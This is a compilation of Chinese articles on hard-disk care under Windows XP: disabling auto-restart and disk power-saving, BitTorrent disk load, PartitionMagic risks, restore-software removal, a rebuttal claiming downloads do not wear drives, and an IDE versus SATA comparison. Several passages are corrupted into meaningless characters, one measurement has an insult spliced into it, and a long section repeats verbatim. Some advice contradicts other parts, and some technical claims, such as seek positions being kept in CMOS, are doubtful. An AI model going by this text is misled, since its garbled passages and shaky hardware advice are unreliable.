在Windows XP中用鼠标右键单击“我的电脑”，选择“属性”，然后单击“高级”选项卡，单击“启动和故障恢复”按钮，在打开的界面中将“系统失败”下面的“自动重新启动”前的复选框清空。不过在系统遇到像显卡驱动兼容性这样严重的故障时，Windows XP还是会自动重新启动。但此时Windows XP一般会先生成一个日志文件，以便你启动后查看，此时要抓紧时间按下RESET键启动，防止Windows XP关闭硬盘。
7.关闭硬盘节能功能
先在BIOS中的电源选项中将硬盘节能全部设置为“DISABLED”，然后在Windows的“控制面板”、“电源选项”中，将“电源方案”下面的“关闭硬盘”、“系统待机”设置为“从不”(要让系统关机和休眠，还是手工控制好)。
新应用模式带来的隐患
1.编码错误的DVDRip
现在网上由DVD转录压缩的DVDRip格式的影片相当受欢迎。这种格式的影片清晰度和DVD相差无几，但下载一部影片只有700MB~1.3GB大小，因此很多用户喜欢将DVDRip格式的影片下载到硬盘上慢慢欣赏。不过，播放这种格式的影片对系统有较高的要求：除了CPU、显卡要求足够强劲以保证播放流畅外，硬盘负荷也非常大——因为播放DVDRip就是一个不断解码解压缩，再输送到显示系统的过程。笔者发现，在遇到有编码错误的DVDRip文件时，Windows会出现磁盘占用率非常高的现象：系统不断想要把编码转换为视频信号，但编码错误的文件索引和相应的信号段是不匹配的——此时，硬盘灯会不断地闪烁，整个系统对用户的操作响应极慢，用户点击菜单但几乎没有反应。如果编码错误较多，系统有时候甚至会死机。很多用户在此时非常不耐烦，直接按下机箱上的RESET键甚至是直接关闭计算机电源，在硬盘磁头没有正常复位的情况下，这种操作相当危险！
提示：Windows XP的用户需要特别注意，当我们在Windows XP中自动预览一些体积较大的ASF、WMV等文件时，虽然没有进行正式播放，但也会出现计算机速度突然变慢、硬盘灯不断闪烁等现象，其罪魁祸首仍然是视频文件错误编码！
2. Bittorrent下载
Bittorrent下载是宽带时代新兴的P2P交换文件模式，各用户之间共享资源，互相当种子和中继站，俗称BT下载。由于每个用户的下载和上传几乎是同时进行，因此下载的速度非常快。不过，它会将下载的数据直接写进硬盘(不像FlashGet等下载工具可以调整缓存，到指定的数据量后才写入硬盘)，因此对硬盘的占用率比FTP下载要大得多！
此外，BT下载事先要申请硬盘空间，在下载较大的文件的时候，一般会有2~3分钟时间整个系统优先权全部被申请空间的任务占用，其他任务反应极慢。有些人为了充分利用带宽，还会同时进行几个BT下载任务，此时就非常容易出现由于磁盘占用率过高而导致的死机故障。
因此，除非你的电脑硬件配置相当高(尤其是内存，至少要在256MB以上)，否则在BT下载作出改进以前，如果要进行长时间、多任务的下载应用，最好还是采用传统的FTP软件。
3. PQMAGIC转换的危险
PQMAGIC是大名鼎鼎的分区魔术师，能在不破坏数据的情况下自由调整分区大小及格式。不过，PQMAGIC刚刚推出的时候，一般用户的硬盘也就2GB左右，而现在60~80GB的硬盘已是随处可见，PQMAGIC早就力不从心了：调整带数据的、5GB以上的分区，通常都需要1小时以上！
除了容量因素影响外，PQMAGIC调整硬盘分区时，大量的时间都花在校验数据和检测硬盘上，可以看出，在这种情况下“无损分区”是很难保证的：由于转换的速度很慢，耗时过长，转换调整过程中，很容易因为计算机断电、死机等因素造成数据丢失。这种损失通常是一个或数个分区丢失，或是容量变得异常，严重时甚至会导致整个硬盘的数据无法读取。
4.硬盘保护软件造成的异常
容易造成硬盘异常的，还有硬盘保护软件。比如“还原精灵”，由于很多人不注意在重装系统或是重新分区前将它正常卸载，往往会发生系统无法完全安装等情况。此时再想安装并卸载“还原精灵”，却又提示软件已经安装，无法继续，陷入死循环中。这种故障是由于“还原精灵”接管了INT13中断，在操作系统之前就控制了硬盘的引导，用FDISK/MBR指令也无法解决。本来这只是软件的故障，但很多人经验不足，出了问题会找各种分区工具“试验”，甚至轻率地低级格式化，在这样的折腾之下，硬盘很可能提前夭折！
5.频繁地整理磁盘碎片
磁盘碎片整理和系统还原本来是Windows提供的正常功能，不过如果你频繁地做这些操作，对硬盘是有害无利的。磁盘整理要对硬盘进行底层分析，判断哪些数据可以移动、哪些数据不可以移动，再对文件进行分类排序。在正式安排好硬盘数据结构前，它岵欢纤*寥⌒慈胧莸狡渌兀藕盟承蚝笤侔咽菀苹厥实蔽恢茫庑┎僮鞫蓟嵴加么罅康腃PU和磁盘资源。其实，对现在的大硬盘而言，文档和邮件占用的空间比例非常小，多数人买大硬盘是用来装电影和音乐的，这些分区根本无需频繁整理——因为播放多媒体文件的效果和磁盘结构根本没有关系，播放速度是由显卡和CPU决定的。
6. Windows XP的自动重启
Windows XP的自动重启功能可以自动关闭无响应的进程，自动退出非法操作的程序，从而减少用户的操作步骤。不过，这个功能也有一个很大的问题：它会在自动重新启动前关闭硬盘电源，在重新启动机器的时候再打开硬盘电源！这样一来，硬盘在不到10秒的时间间隔内，受到电流两次冲击，很可能会发生突然“死亡”的故障。为了节省一些能源设置成让系统自动关闭硬盘，对硬盘来说也是弊大于利的。
消除隐患的应对方案
1.解决编码错误
遇到编码错误的视频文件，最好的方法是通过正常途径向系统发出关机或重新启动指令，耐心等待系统自己处理完毕后重新启动计算机。然后上网搜索一些专门修复编码错误的软件来修复这些影片，再进行观看。
2.加大系统缓存
对于像BT这种线程没优化好、同时读取和写入硬盘的软件，如果一定要使用，可以通过修改注册表的方式加大磁盘缓冲，以减小硬盘读写的频率。以Windows XP为例：
单击“开始”、“运行”，键入“Regedit”后回车，打开注册表编辑器。依次展开HKEY_LOCAL_MACHINE＼SYSTEM＼CURRENTCONTROLSET＼CONTROL＼SESSION MANAGER＼MEMORY MANAGEMENT分支，在右侧窗口中单击鼠标右键，选择“新建”、“DWORD”值，将新值命名为“Iopagelocklimit”，并将其值设置为“4000”(16进制，即16M或“8000”(即32M，这样硬盘的读写频率会降低不少。对于BT造成的CPU占用率过高问题，可以通过调节任务的优先级来解决：在Windows 2000/XP下同时按下“Ctrl+Alt+Delete”组合键，选择“任务管理器”，然后单击“进程”选项卡，用鼠标右键单击“Btdownloadgui.exe”，选择“设置优先级”下低于“标准”的一个级别即可。不庋鹘谟惺被嵋養T非法操作退出。
3.巧妙卸载“还原精灵”
如果你的计算机安装了“还原精灵”，但在重装系统前忘记了正确卸载“还原精灵”，导致无法分区及安装系统，那么可尝试使用以下方法来解决问题：启动计算机后在系统引导前按“Ctrl+Home”组合键，调出“还原精灵”的菜单，输入密码进去后，选择“卸载”即可。也可以在光驱中放入“还原精灵”安装光盘，找到卸载程序Uninst.exe并执行它，当出现“不能运行在……要重新启动计算机吗？”的提示时，单击“确定”，重新启动后再安装“还原精灵”，然后再将它卸载。此方法在“还原精灵”5.0、2002、2003等版本上均验证通过。
4.加速PQMAGIC的操作
在PQMAGIC中打开“常规”选项下的“PartitionMagic优选设置”，将“忽略FAT上的OS/2 EA错误”和“跳过坏扇区检查”这两个选项均选中，忽略校验数据和检测硬盘的过程，自然会大大加快PQMAGIC的速度。当然，在使用PQMAGIC对分区进行操作之前，我们应该先用磁盘扫描工具检查和修复硬盘上的错误，然后再进行分区转换操作。
此外，最好不要用PQMAGIC调整带数据的分区，更不要在调整分区容量时进行分区格式转换。最好的方法是将要调整的分区上的数据备份到不参与调整的分区(最好是其他硬盘上)，然后清空调整的一个或多个分区，这样转换速度会快很多，也更安全。
5.采用NTFS格式的分区
NTFS分区的好处在这里就不用多说了吧？由于NTFS分区本身的簇很小，不容易产生磁盘碎片，微软在文件分配表和目录索引上也作了特殊处理，万一出错后恢复文件也较容易。不过为了保证系统兼容性，最好不要将引导分区设置为NTFS格式。
6.禁用自动重启功能
在Windows XP中用鼠标右键单击“我的电脑”，选择“属性”，然后单击“高级”选项卡，单击“启动和故障恢复”按钮，在打开的界面中将“系统失败”下面的“自动重新启动”前的复选框清空。不过在系统遇到像显卡驱动兼容性这样严重的故障时，Windows XP还是会自动重新启动。但此时Windows XP一般会先生成一个日志文件，以便你启动后查看，此时要抓紧时间按下RESET键启动，防止Windows XP关闭硬盘。
7.关闭硬盘节能功能
先在BIOS中的电源选项中将硬盘节能全部设置为“DISABLED”，然后在Windows的“控制面板”、“电源选项”中，将“电源方案”下面的“关闭硬盘”、“系统待机”设置为“从不”(要让系统关机和休眠，还是手工控制好)。
BT和迅雷到底伤不伤硬盘
BT和迅雷到底伤不伤硬盘呢？先引用一下某人的话，有人认为BT和迅雷伤害硬盘：
为什么频繁读写会损坏硬盘呢？
磁头寿命是有限的，频繁的读写会加快磁头臂及磁头电机的磨损，频繁的读写磁盘某个区域更会使该区温度升高，将影响该区磁介质的稳定性还会导至读写错误，高温还会使该区因热膨涨而使磁头和碟面更近了（正常情况下磁头和碟面只有几个微米，更近还得了？），而且也会影响薄膜式磁头的数据读取灵敏度，会使晶体振荡器的时钟主频发生改变，还会造成硬盘电路元件失灵。
任务繁多也会导至IDE硬盘过早损坏，由于IDE硬盘自身的不足，，过多任务请求是会使寻道失败率上升，导至磁头频繁复位（复位就是磁头回复到 0
磁道，以便重新寻道）加速磁头臂及磁头电机磨损。
可是实际上并非如此，我先说一下现代硬盘的工作原理
现在的硬盘,无论是IDE还是SCSI,采用的都是"温彻思特“技术,都有以下特点：
1。磁头，盘片及运动机构密封。
2。固定并高速旋转的镀磁盘片表面平整光滑。
3。磁头沿盘片径向移动。
4。磁头对盘片接触式启停，但工作时呈飞行状态不与盘片直接接触。
盘片：硬盘盘片是将磁粉附着在铝合金（新材料也有用玻璃）圆盘片的表面上.这些磁粉被划分成称为磁道的若干个同心圆，在每个同心圆的磁道上就好像有无数的任意排列的小磁铁，它们分别代表着0和1的状态。当这些小磁铁受到来自磁头的磁力影响时，其排列的方向会随之改变。利用磁头的磁力控制指定的一些小磁铁方向，使每个小磁铁都可以用来储存信息。
盘体：硬盘的盘体由多个盘片组成，这些盘片重叠在一起放在一个密封的盒中，它们在主轴电机的带动下以很高的速度旋转，其每分钟转速达3600，4500，5400，7200甚至以上。
磁头：硬盘的磁头用来读取或者修改盘片上磁性物质的状态，一般说来，每一个磁面都会有一个磁头，从最上面开始，从0开始编号。磁头在停止工作时，与磁盘是接触的，但是在工作时呈飞行状态。磁头采取在盘片的着陆区接触式启停的方式，着陆区不存放任何数据，磁头在此区域启停，不存在损伤任何数据的问题。读取数据时，盘片高速旋转，由于对磁头运动采取了精巧的空气动力学设计，此时磁头处于离盘面数据区0.2---0.5微自以为是的家伙度的”飞行状态“。既不与盘面接触造成磨损，又能可*的读取数据。
电机：硬盘内的电机都为无刷电机，在高速轴承支撑下机械磨损很小，可以长时间连续工作。高速旋转的盘体产生了明显的陀螺效应，所以工作中的硬盘不宜运动，否则将加重轴
承的工作负荷。硬盘磁头的寻道饲服电机多采用音圈式旋转或者直线运动步进电机，在饲服跟踪的调节下精确地跟踪盘片的磁道，所以在硬盘工作时不要有冲击碰撞，搬动时要小心轻放。
原理说到这里，大家都明白了吧？
首先，磁头和数据区是不会有接触的，所以不存在磨损的问题。
其次，一开机硬盘就处于旋转状态，主轴电机的旋转可以达到4500或者7200转每分钟，这和你是否使用FLASHGET或者ED都没有关系，只要一通电，它们就在转.它们的磨损也和软件无关。
再次，寻道电机控制下的磁头的运动，是左右来回移动的，而且幅度很小，从盘片的最内层（着陆区）启动，慢慢移动到最外层，再慢慢移动回来，一个磁道再到另一个磁道来寻找数据。不会有什么大规模跳跃的（又不是青蛙）。所以它的磨损也是可以忽略不记的。
那么，热量是怎么来的呢？
首先是主轴电机和寻道饲服电机的旋转，硬盘的温度主要是因为这个。
其次，高速旋转的盘体和空气之间的摩擦。这个也是主要因素。
而硬盘的读写？？？
很遗憾，它的发热量可以忽略不记！！！！！！！！！！
硬盘的读操作，是盘片上磁场的变化影响到磁头的电阻值,这个过程中盘片不会发热，磁头倒是因为电流发生变化，所以会有一点热量产生。写操作呢？正好反过来，通过磁头的电流强度不断发生变化，影响到盘片上的磁场，这一过程因为用到电磁感应，所以磁头发热量较大。但是盘片本身是不会发热的，因为盘片上的永磁体是冷性的，不会因为磁场变化而发热。但是总的来说，磁头的发热量和前面两个比起来，是小巫见大巫了。热量是可以辐射传导的，那么高热量对盘片上的永磁体会不会有伤害呢？其实伤害是很小的，永磁体消磁的温度，远远高于硬盘正常情况下产生的温度。当然，要是你的机箱散热不好，那可就怪不了别人了。
我这里不得不说一下某人的几个错误：
一。高温是影响到磁头的电阻感应灵敏度，所以才会产生读写错误，和永磁体没有关系。
二。所谓的热膨胀，不会拉近盘体和磁头的距离，因为磁头的飞行是空气动力学原理，在正常情况下始终和盘片保持一定距离。当然要是你大力打击硬盘，那么这个震动。。。。。
三。所谓寻道是指硬盘从初使位置移动到指定磁道。所谓的复位动作，并不是经常发生的。因为磁道的物理位置是存放在CMOS里面，硬盘并不需要移动回0磁道再重新出发。只要磁头一启动，所谓的复位动作就完成了，除非你重新启动电脑，不然复位动作就不会再发生。
四。IDE硬盘和SCSI硬盘的盘体结构是差不多的。只是SCSI硬盘的接口带宽比同时代的IDE硬盘要大，而且往往SCSI卡往往都会有一个类似CPU的东西来减缓主CPU的占用率。仅此而已，所以希捷才会把它的SCSI硬盘的技术用在IDE硬盘上。
五。硬盘的读写是以柱面的扇区为单位的。柱面也就是整个盘体中所有磁面的半径相同的同心磁道，而把每个磁道划分为若干个区就是所谓的扇区了。硬盘的写操作，是先写满一个扇区，再写同一柱面的下一个扇区的，在一个柱面完全写满前，磁头是不会移动到别的磁道上的。所以文件在硬盘上的存储，并不是像一般人的认为，是连续存放在一起的（从使用者来看是一起，但是从操作系统底层来看，其存放不是连续的）。所以FLASHGET或者ED开了再多的线程，磁头的寻道一般都不会比你一边玩游戏一边听歌大。当然，这种情况只是单纯的下载或者上传而已，但是其实在这个过程中，谁能保证自己不会启动其它需要读写硬盘的软件？可能很多人都喜欢一边下载一边玩游戏或者听歌吧？更不用说WINDOWS本身就需要频繁读写虚拟内存文件了。所以，用FG下载也好，ED也好，对硬盘的折磨和平时相比不会太厉害的。
六。再说说FLASHGET为什么开太多线程会不好和ED为什么硬盘读写频繁。首先，线程一多，cpu的占用率就高，换页动作也就频繁，从而虚拟内存读写频繁，至于为什么，学过操作系统原理的应该都知道，我这里就不说了。ED呢？同时从几个人那里下载一个文件，还有几个人同时在下载你的文件，这和FG开多线程是类似的。所以硬盘灯猛闪。但是，现在的硬盘是有缓存的，数据不是马上就写到硬盘上，而是先存放在缓存里面,，然后到一定量了
再一次性写入硬盘。在FG里面再怎么设置都好，其实是先写到缓存里面的。但是这个过程也是需要CPU干预的，所以设置时间太短，CPU占用率也高，所以硬盘灯也还是猛闪的，因为虚拟文件在读写。
七。硬盘读写频繁，磁头臂在寻道伺服电机的驱动下移动频繁，但是对机械来说这点耗损虽有，其实不大。除非你的硬盘本身就有机械故障比如力臂变形之类的（水货最常见的故障）。真正耗损在于磁头，不断变化的电流会造成它的老化，但是和它的寿命相比。。。。。应该也是在合理范围内的。除非因为震动，磁头撞击到了盘体。
八。受高温影响的最严重的是机械的电路，特别是硬盘外面的那块电路板，上面的集成块在高温下会加速老化的。所以IBM的某款玻璃硬盘，虽然有坏道，但是一用某个软件，马上就不见了。再严重点的，换块线路板，也就正常了。就是这个原因.
打了这么多字，实在是太累了。
总之，硬盘会因为环境不好和保养不当而影响寿命，但是这绝对不是软件的错。
FLASHGET也好,ED也好,FTP也好,它们虽然对硬盘的读写频繁,但是还不至于比你一般玩游戏、一般听歌对硬盘伤害大.说得更加明白的话,它们对硬盘的所谓耗损,其实可以忽略不记.不要因为看见硬盘灯猛闪,就在那里瞎担心.不然那些提供WEB服务和FTP服务的服务器，它们的硬盘读写之大，可绝非平常玩游戏，下软件的硬盘可比的。
硬盘有一个参数叫做连续无故障时间。它是指硬盘从开始运行到出现故障的最长时间，单位是小时，英文简写是MTBF。一般硬盘的MTBF至少在30000或40000小时。具体情况可以看硬盘厂商的参数说明。这个连续无故障时间，大家可以自己除一下，看看是多少年。然后大家自己想想，自己的硬盘平时连续工作最久是多长时间。
目前我使用的机器，已经连续开机1年了，除了中途有几次关机十几分钟来清理灰尘外，从来没有停过（使用金转6代40G）。另外还有三台使用SCSI硬盘的服务器，是连续两年没有停过了，硬盘的发热量绝非平常IDE硬盘可比（1万转的硬盘啊）。
在这方面，我想我是有发言权的。
最后补充一下若干点：
一。硬盘最好不要买水货或者返修货。水货在运输过程中是非常不安全的，虽然从表面上看来似乎无损伤，但是有可能在运输过程中因为各种因素而对机械体造成损伤。返修货就更加不用说了。老实说，那些埋怨硬盘容易损坏的人，你们应该自己先看看，自己的硬盘是否就是这些货色。
二。硬盘的工作环境是需要整洁的，特别是注意不要在频繁断电和灰尘很多的环境下使用硬盘。机箱要每隔一两个月清理一下灰尘。
三。硬盘的机械最怕震动和高温。所以环境要好，特别是机箱要牢固，以免共震太大。电脑桌也不要摇摇晃晃的。
四。要经常整理硬盘碎片。这里有一个大多数人的误解，一般人都以为硬盘碎片会加大硬盘耗损，其实不是这样的。硬盘碎片的增多本身只是会让硬盘读写所花时间比碎片少的时候多而已，对硬盘的耗损是可以忽略的（我在这里只说一个事实，目前网络上的服务器，它们用得最多的操作系统是UNIX，但是在UNIX下面是没有磁盘碎片整理软件的。就连微软的NT4,本身也是没有的）。不过，因为磁头频繁的移动，造成读写时间的加大，所以CPU的
换页动作也就频繁了，而造成虚拟文件（在这里其实准确的说法是换页文件）读写频繁，从而加重硬盘磁头寻道的负荷。这才是硬盘碎片的坏处。
五。在硬盘读写时尽量避免忽然断电，冷启动和做其他加重CPU负荷的事情（比如在玩游戏时听歌，或者在下载时玩大型3D游戏），这些对硬盘的伤害比一般人想象中还要大。原因我就不说了，打字太累。
总之，只要平常注意使用硬盘，硬盘是不会那么快就和我们说BYEBYE的。当然，如果是硬盘本身的质量就不行，那我就无话可说了。
为什么频繁读写会损坏硬盘呢？
磁头寿命是有限的，频繁的读写会加快磁头臂及磁头电机的磨损，频繁的读写磁盘某个区域更会使该区温度升高，将影响该区磁介质的稳定性还会导至读写错误，高温还会使该区因热膨涨而使磁头和碟面更近了（正常情况下磁头和碟面只有几个微米，更近还得了？），而且也会影响薄膜式磁头的数据读取灵敏度，会使晶体振荡器的时钟主频发生改变，还会造成硬盘电路元件失灵。
任务繁多也会导至IDE硬盘过早损坏，由于IDE硬盘自身的不足，，过多任务请求是会使寻道失败率上升，导至磁头频繁复位（复位就是磁头回复到 0
磁道，以便重新寻道）加速磁头臂及磁头电机磨损。
可是实际上并非如此，我先说一下现代硬盘的工作原理
现在的硬盘,无论是IDE还是SCSI,采用的都是"温彻思特“技术,都有以下特点：
1。磁头，盘片及运动机构密封。
2。固定并高速旋转的镀磁盘片表面平整光滑。
3。磁头沿盘片径向移动。
4。磁头对盘片接触式启停，但工作时呈飞行状态不与盘片直接接触。
盘片：硬盘盘片是将磁粉附着在铝合金（新材料也有用玻璃）圆盘片的表面上.这些磁粉被划分成称为磁道的若干个同心圆，在每个同心圆的磁道上就好像有无数的任意排列的小磁铁，它们分别代表着0和1的状态。当这些小磁铁受到来自磁头的磁力影响时，其排列的方向会随之改变。利用磁头的磁力控制指定的一些小磁铁方向，使每个小磁铁都可以用来储存信息。
盘体：硬盘的盘体由多个盘片组成，这些盘片重叠在一起放在一个密封的盒中，它们在主轴电机的带动下以很高的速度旋转，其每分钟转速达3600，4500，5400，7200甚至以上。
磁头：硬盘的磁头用来读取或者修改盘片上磁性物质的状态，一般说来，每一个磁面都会有一个磁头，从最上面开始，从0开始编号。磁头在停止工作时，与磁盘是接触的，但是在工作时呈飞行状态。磁头采取在盘片的着陆区接触式启停的方式，着陆区不存放任何数据，磁头在此区域启停，不存在损伤任何数据的问题。读取数据时，盘片高速旋转，由于对磁头运动采取了精巧的空气动力学设计，此时磁头处于离盘面数据区0.2---0.5微自以为是的家伙度的”飞行状态“。既不与盘面接触造成磨损，又能可*的读取数据。
电机：硬盘内的电机都为无刷电机，在高速轴承支撑下机械磨损很小，可以长时间连续工作。高速旋转的盘体产生了明显的陀螺效应，所以工作中的硬盘不宜运动，否则将加重轴
承的工作负荷。硬盘磁头的寻道饲服电机多采用音圈式旋转或者直线运动步进电机，在饲服跟踪的调节下精确地跟踪盘片的磁道，所以在硬盘工作时不要有冲击碰撞，搬动时要小心轻放。
原理说到这里，大家都明白了吧？
首先，磁头和数据区是不会有接触的，所以不存在磨损的问题。
其次，一开机硬盘就处于旋转状态，主轴电机的旋转可以达到4500或者7200转每分钟，这和你是否使用FLASHGET或者ED都没有关系，只要一通电，它们就在转.它们的磨损也和软件无关。
再次，寻道电机控制下的磁头的运动，是左右来回移动的，而且幅度很小，从盘片的最内层（着陆区）启动，慢慢移动到最外层，再慢慢移动回来，一个磁道再到另一个磁道来寻找数据。不会有什么大规模跳跃的（又不是青蛙）。所以它的磨损也是可以忽略不记的。
那么，热量是怎么来的呢？
首先是主轴电机和寻道饲服电机的旋转，硬盘的温度主要是因为这个。
其次，高速旋转的盘体和空气之间的摩擦。这个也是主要因素。
而硬盘的读写？？？
很遗憾，它的发热量可以忽略不记！！！！！！！！！！
硬盘的读操作，是盘片上磁场的变化影响到磁头的电阻值,这个过程中盘片不会发热，磁头倒是因为电流发生变化，所以会有一点热量产生。写操作呢？正好反过来，通过磁头的电流强度不断发生变化，影响到盘片上的磁场，这一过程因为用到电磁感应，所以磁头发热量较大。但是盘片本身是不会发热的，因为盘片上的永磁体是冷性的，不会因为磁场变化而发热。但是总的来说，磁头的发热量和前面两个比起来，是小巫见大巫了。热量是可以辐射传导的，那么高热量对盘片上的永磁体会不会有伤害呢？其实伤害是很小的，永磁体消磁的温度，远远高于硬盘正常情况下产生的温度。当然，要是你的机箱散热不好，那可就怪不了别人了。
我这里不得不说一下某人的几个错误：
一。高温是影响到磁头的电阻感应灵敏度，所以才会产生读写错误，和永磁体没有关系。
二。所谓的热膨胀，不会拉近盘体和磁头的距离，因为磁头的飞行是空气动力学原理，在正常情况下始终和盘片保持一定距离。当然要是你大力打击硬盘，那么这个震动。。。。。
三。所谓寻道是指硬盘从初使位置移动到指定磁道。所谓的复位动作，并不是经常发生的。因为磁道的物理位置是存放在CMOS里面，硬盘并不需要移动回0磁道再重新出发。只要磁头一启动，所谓的复位动作就完成了，除非你重新启动电脑，不然复位动作就不会再发生。
四。IDE硬盘和SCSI硬盘的盘体结构是差不多的。只是SCSI硬盘的接口带宽比同时代的IDE硬盘要大，而且往往SCSI卡往往都会有一个类似CPU的东西来减缓主CPU的占用率。仅此而已，所以希捷才会把它的SCSI硬盘的技术用在IDE硬盘上。
五。硬盘的读写是以柱面的扇区为单位的。柱面也就是整个盘体中所有磁面的半径相同的同心磁道，而把每个磁道划分为若干个区就是所谓的扇区了。硬盘的写操作，是先写满一个扇区，再写同一柱面的下一个扇区的，在一个柱面完全写满前，磁头是不会移动到别的磁道上的。所以文件在硬盘上的存储，并不是像一般人的认为，是连续存放在一起的（从使用者来看是一起，但是从操作系统底层来看，其存放不是连续的）。所以FLASHGET或者ED开了再多的线程，磁头的寻道一般都不会比你一边玩游戏一边听歌大。当然，这种情况只是单纯的下载或者上传而已，但是其实在这个过程中，谁能保证自己不会启动其它需要读写硬盘的软件？可能很多人都喜欢一边下载一边玩游戏或者听歌吧？更不用说WINDOWS本身就需要频繁读写虚拟内存文件了。所以，用FG下载也好，ED也好，对硬盘的折磨和平时相比不会太厉害的。
六。再说说FLASHGET为什么开太多线程会不好和ED为什么硬盘读写频繁。首先，线程一多，cpu的占用率就高，换页动作也就频繁，从而虚拟内存读写频繁，至于为什么，学过操作系统原理的应该都知道，我这里就不说了。ED呢？同时从几个人那里下载一个文件，还有几个人同时在下载你的文件，这和FG开多线程是类似的。所以硬盘灯猛闪。但是，现在的硬盘是有缓存的，数据不是马上就写到硬盘上，而是先存放在缓存里面,，然后到一定量了
再一次性写入硬盘。在FG里面再怎么设置都好，其实是先写到缓存里面的。但是这个过程也是需要CPU干预的，所以设置时间太短，CPU占用率也高，所以硬盘灯也还是猛闪的，因为虚拟文件在读写。
七。硬盘读写频繁，磁头臂在寻道伺服电机的驱动下移动频繁，但是对机械来说这点耗损虽有，其实不大。除非你的硬盘本身就有机械故障比如力臂变形之类的（水货最常见的故障）。真正耗损在于磁头，不断变化的电流会造成它的老化，但是和它的寿命相比。。。。。应该也是在合理范围内的。除非因为震动，磁头撞击到了盘体。
八。受高温影响的最严重的是机械的电路，特别是硬盘外面的那块电路板，上面的集成块在高温下会加速老化的。所以IBM的某款玻璃硬盘，虽然有坏道，但是一用某个软件，马上就不见了。再严重点的，换块线路板，也就正常了。就是这个原因.
打了这么多字，实在是太累了。
总之，硬盘会因为环境不好和保养不当而影响寿命，但是这绝对不是软件的错。
FLASHGET也好,ED也好,FTP也好,它们虽然对硬盘的读写频繁,但是还不至于比你一般玩游戏、一般听歌对硬盘伤害大.说得更加明白的话,它们对硬盘的所谓耗损,其实可以忽略不记.不要因为看见硬盘灯猛闪,就在那里瞎担心.不然那些提供WEB服务和FTP服务的服务器，它们的硬盘读写之大，可绝非平常玩游戏，下软件的硬盘可比的。
硬盘有一个参数叫做连续无故障时间。它是指硬盘从开始运行到出现故障的最长时间，单位是小时，英文简写是MTBF。一般硬盘的MTBF至少在30000或40000小时。具体情况可以看硬盘厂商的参数说明。这个连续无故障时间，大家可以自己除一下，看看是多少年。然后大家自己想想，自己的硬盘平时连续工作最久是多长时间。
目前我使用的机器，已经连续开机1年了，除了中途有几次关机十几分钟来清理灰尘外，从来没有停过（使用金转6代40G）。另外还有三台使用SCSI硬盘的服务器，是连续两年没有停过了，硬盘的发热量绝非平常IDE硬盘可比（1万转的硬盘啊）。
在这方面，我想我是有发言权的。
最后补充一下若干点：
一。硬盘最好不要买水货或者返修货。水货在运输过程中是非常不安全的，虽然从表面上看来似乎无损伤，但是有可能在运输过程中因为各种因素而对机械体造成损伤。返修货就更加不用说了。老实说，那些埋怨硬盘容易损坏的人，你们应该自己先看看，自己的硬盘是否就是这些货色。
二。硬盘的工作环境是需要整洁的，特别是注意不要在频繁断电和灰尘很多的环境下使用硬盘。机箱要每隔一两个月清理一下灰尘。
三。硬盘的机械最怕震动和高温。所以环境要好，特别是机箱要牢固，以免共震太大。电脑桌也不要摇摇晃晃的。
四。要经常整理硬盘碎片。这里有一个大多数人的误解，一般人都以为硬盘碎片会加大硬盘耗损，其实不是这样的。硬盘碎片的增多本身只是会让硬盘读写所花时间比碎片少的时候多而已，对硬盘的耗损是可以忽略的（我在这里只说一个事实，目前网络上的服务器，它们用得最多的操作系统是UNIX，但是在UNIX下面是没有磁盘碎片整理软件的。就连微软的NT4,本身也是没有的）。不过，因为磁头频繁的移动，造成读写时间的加大，所以CPU的
换页动作也就频繁了，而造成虚拟文件（在这里其实准确的说法是换页文件）读写频繁，从而加重硬盘磁头寻道的负荷。这才是硬盘碎片的坏处。
五。在硬盘读写时尽量避免忽然断电，冷启动和做其他加重CPU负荷的事情（比如在玩游戏时听歌，或者在下载时玩大型3D游戏），这些对硬盘的伤害比一般人想象中还要大。原因我就不说了，打字太累。
总之，只要平常注意使用硬盘，硬盘是不会那么快就和我们说BYEBYE的。当然，如果是硬盘本身的质量就不行，那我就无话可说了。
IDE、SATA、SATA II的优缺点
现在的技术发展实在太快，很多人还没弄清SATA到底有什么好，SATA II又来了。在传统的IDE、潮流的SATA与前卫的SATA II硬盘之间，到底有着什么样的区别？几种不同的硬盘各自价格等方面又是怎么样？相信很多朋友都想知道。
在深入了解新标准之前，有必要回顾一下原有的技术。长期以来，硬盘技术的进步，都着重于传输速度和容量两个方面。基本上认识电脑以来，大家就一直在使用Ultra ATA。这种延用已久的接口技术，有好些方面都显得过时而需要改进了：
大家都知道，数据线太粗，安装不方便，严重影响机箱内空气流通，不利于机箱散热，是传统IDE接口即Ultra ATA硬盘的至命缺点。不过，IDE硬盘还有很多其它方面的局限性，大概就不是很多人都清楚了。
主从盘相互影响
普遍情况下，一块主板只有两个IDE接口，每个接口可以挂两个IDE设备。但同一个接口的两个设备是共用带宽的，对速度的影响非常大。所以稍有常识的人，都会把硬盘和光驱分开两条IDE线连接到主板上
这样，IDE有个很大的问题，就是虽然一块主板可以连接4个设备，但事实上只要超过两个，速度就大大下降。
更大的问题是，同一条线上两个设备要严格按主/从设置才能正常运行。象图中这种西数WD400 JB，主硬盘还有两种不同设置，一条IDE线只接这块硬盘的时候按右边的设置，带从盘的时候则要按中间的设置方式。据亲身经验，如果没带从盘而按中间的方式设了，会出现五花八门百思不得其解的问题——有时可以启动，有时报告找不到硬盘，有时启动过程中报告硬盘错误之类——每次启动可能出现不同的问题。
不支持热拔插
并行ATA在支持设备热插拔方面能力有限，这一点对服务器方面的应用非常重要。因为服务器通常采用RAID的方式，任何一块硬盘坏了都可以热拔插更换，而不影响数据的完整性，确保服务器任何情况下都正常开着。具有热插拔支持功能的SCSI和光纤通道占据了企业级应用的几乎全部市场，并行ATA空有价格优势而不能获得一席之地，主要原因就是它不支持热拔插。
不够完善的错误检验技术
Ultra DMA引入了基于CRC的数据包出错检测，该技术是ATA-3标准的组成部分。但是，没有任何一种并行ATA标准提供命令和状态包的出错检测。尽管命令和状态包出错的范围和几率都小，但它们出错的可能性也不容忽略。
使用过时的5伏电压
处理器核心从几个方面要求向低电压过渡。较低电压允许更快的信号陡变，这对提高速度、降低热耗至关重要。现在的CPU核心电压基本上都小于2伏，为保持与系统主板上其它芯片的互操作性，通常使用3.3伏的外部电压分离出来，5伏电压成为过时的标准。虽然大部分目前的 ATA/ATAPI-6标准为并行ATA设备指定的直流电压供应为3.3V （± 8%），但一些模式的接收器大于4伏，所以要使用过时的5伏电压。
接口速度的可升级性差
另外，Ultra ATA是受并行总线特性的限制，带宽容易受到限制，经过多次升级，目前最高传输率也只是133M字节/秒。
SATA比IDE优越在哪些地方？
SATA不再使用过时的并行总线接口，转用串行总线，整个风格完全改变。
